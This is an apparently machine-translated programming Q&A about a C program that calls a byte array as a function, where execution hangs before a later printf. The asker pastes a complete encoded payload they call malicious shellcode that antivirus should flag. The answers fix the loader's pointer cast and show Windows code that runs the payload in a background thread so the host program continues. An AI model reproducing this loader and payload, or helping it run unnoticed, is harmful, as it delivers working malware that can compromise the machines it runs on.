Question

#include <stdio.h>
char shellcode[] = "some shellcode here";
int main (int argc, char **argv) {
    void (*sptr)();
    sptr = (void(*)()) (&shellcode);
    sptr();
    printf("must display this");
    return 0;
}

在运行程序时，它执行sptr（）并在那里挂起，可能是因为shellcode在内存中运行。 printf（“..”）永远不会执行。我的问题是我希望程序执行printf（）。

请帮助：）

回复Eric Finn和Alvin Wong

我改变了你们所指示的和我得到的错误是：

X：＆gt;“my program.exe” '»“。¼'未被识别为内部或外部命令，可操作程序或批处理文件。必须显示此

char shellcode []有效。我之前已经成功编译了它。

下面是带有恶意shellcode的原始代码，因此你的防病毒应该检测它，只是为了验证你们shellcode不是问题：

#include <stdio.h>
#include <stdlib.h>

char shellcode[] = "\xda\xd3\xd9\x74\x24\xf4\xbd\xe9\x6d\xf8\x29\x58\x33\xc9\xb1"
"\x58\x31\x68\x18\x83\xe8\xfc\x03\x68\xfd\x8f\x0d\xd5\x15\xc6"
"\xee\x26\xe5\xb9\x67\xc3\xd4\xeb\x1c\x87\x44\x3c\x56\xc5\x64"
"\xb7\x3a\xfe\xff\xb5\x92\xf1\x48\x73\xc5\x3c\x49\xb5\xc9\x93"
"\x89\xd7\xb5\xe9\xdd\x37\x87\x21\x10\x39\xc0\x5c\xda\x6b\x99"
"\x2b\x48\x9c\xae\x6e\x50\x9d\x60\xe5\xe8\xe5\x05\x3a\x9c\x5f"
"\x07\x6b\x0c\xeb\x4f\x93\x27\xb3\x6f\xa2\xe4\xa7\x4c\xed\x81"
"\x1c\x26\xec\x43\x6d\xc7\xde\xab\x22\xf6\xee\x26\x3a\x3e\xc8"
"\xd8\x49\x34\x2a\x65\x4a\x8f\x50\xb1\xdf\x12\xf2\x32\x47\xf7"
"\x02\x97\x1e\x7c\x08\x5c\x54\xda\x0d\x63\xb9\x50\x29\xe8\x3c"
"\xb7\xbb\xaa\x1a\x13\xe7\x69\x02\x02\x4d\xdc\x3b\x54\x29\x81"
"\x99\x1e\xd8\xd6\x98\x7c\xb5\x46\xc0\x0a\x45\xfe\x7d\x9a\x2b"
"\x97\xd5\x34\xf8\x10\xf0\xc3\xff\x0b\xcd\x34\xa8\xe4\x79\x9c"
"\x3d\x0a\xd2\x4a\xf8\x5c\xa3\x2d\x03\xb5\xb8\x79\xa7\x04\xf6"
"\x2f\x06\x0c\x0b\x81\xf9\xb8\x5b\x21\xfa\x38\x0f\x71\x92\x6f"
"\x26\xee\xa4\x70\xed\xfa\x1d\xd7\x3f\x2f\x0f\x8f\x3f\xcd\x90"
"\xcb\x12\x83\x82\x82\xc0\x73\x4b\xcf\xb0\x5d\xb0\xf0\xee\x2b"
"\x00\x64\x01\x77\xbc\x87\x76\xd0\xe9\x20\x2f\xb6\x38\xc8\xd7"
"\x3d\xbc\x01\x62\x01\x37\xb3\x26\xf6\xa8\x28\x51\x1d\x81\x46"
"\x65\x1d\xed\x69\x45\x98\x22\xf8\xdf\x5c\x43\x6a\x10\xe9\xe1"
"\x3c\x2f\xc7\x8c\x80\xa7\xe8\x40\x00\x38\x81\x60\x00\x78\x51"
"\x36\x68\x20\xf5\xeb\x8d\x2f\x20\x98\x1e\x83\x42\x78\xf7\x4b"
"\x55\xa7\xf7\x8b\x06\xf1\x9f\x99\x3e\x74\xbd\x61\xeb\x02\x81"
"\xea\xd9\x86\x06\x12\x21\x1d\xc8\x61\x40\x46\x0b\x61\xef\x88"
"\x74\x8d\x9d\x1f\xe9\x00\x31\x93\x82\x82\xb9\x7d\x3f\x24\x2f"
"\x82";

int main (int argc, char **argv) {

void (*sptr)();
    sptr = (void(*)()) (&shellcode);
    sptr();
    printf("must display this"); // instead of more lines i put this one
    return 0;
}

以上代码成功编译并完美运行

我将一些行改为系统（shellcode）。它编译但不能正常运行

Answer 1

好的，因为shellcode实际上是机器代码而不是shell代码（根据您的最新编辑），答案是不同的。

当您声明char shellcode[]时，shellcode是指向内存位置的指针。这意味着而不是

sptr = (void(*)()) (&shellcode);

你应该

sptr = (void(*)()) (shellcode);

此外，您希望代码位于二进制文件的可执行部分，而不是二进制文件的数据部分。这意味着您需要char *shellcode = ...而不是char shellcode[] = ...。

此外，您应该确保shellcode是一个有效的编译C函数，其调用约定与调用它的代码相同。

Answer 2

根据我的理解，你想运行一些“机器代码”（不是 shellcode），无论代码如何运行，它都应该继续运行。

这可以通过使用线程来实现。

首先添加以下内容：

#include <windows.h>
#include <process.h>

在您的代码中：

void (*sptr)(void*);                  // Type for `_beginthread`
sptr = (void(*)(void*)) (&shellcode); // PLEASE rename to `machinecode`
_beginthread(sptr,0,NULL);            // This starts your code in a new thread
Sleep(5000);                          // Wait for 5000 ms
printf("must display this");

当然这是不多线程程序的正确方法，但由于你的代码是“机器代码”，所以没有太多工作要做。

P.S。当我尝试你的代码时，它最终达到“访问冲突”（分段错误）（并显示“x.exe遇到问题”对话框），我的防病毒软件没有检测到任何内容（做我需要切换到另一个??），因此您可能需要查看代码或添加异常处理程序...

C程序在执行shellcode时挂起/挂起

2 个答案: